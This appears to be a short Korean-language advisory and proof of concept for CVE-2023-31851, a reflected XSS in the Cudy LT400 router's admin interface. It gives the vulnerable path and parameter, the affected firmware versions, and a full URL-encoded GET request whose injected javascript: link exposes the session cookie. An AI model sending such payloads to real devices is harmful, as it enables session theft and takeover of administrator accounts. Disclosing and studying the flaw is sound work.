calfcrusher/cve-2023-31851Cudy LT400 웹 인터페이스의 반사형 XSS에 대한 개념 증명으로, 조작된 요청을 통해 세션 쿠키 탈취 및 관리자 계정 탈취를 시연합니다.
Cudy LT400의 웹 기반 관리 인터페이스에 반사형 크로스 사이트 스크립팅(XSS) 공격이 존재합니다.
/cgi-bin/luci/admin/network/wireless/status 페이지는 iface 매개변수를 통해 반사형 XSS를 가지고 있습니다.
악용 방법은 피해자에게 악성 코드가 포함된 특수 조작된 요청을 전송하는 것입니다.
영향을 받는 애플리케이션은 Session Cookie에 HttpOnly 속성을 설정하지 않습니다. 이로 인해 세션 토큰 도용을 통한 관리자 권한 탈취가 발생할 수 있습니다.
취약한 펌웨어 버전: 1.13.4 - 1.15.18 - 1.15.27
GET /cgi-bin/luci/admin/network/wireless/status?iface=wlan00%22%29%27%20href%3D%22javascript%3Aalert%28document.cookie%29%3B%22%3Exss%3C%2Fa%3E HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology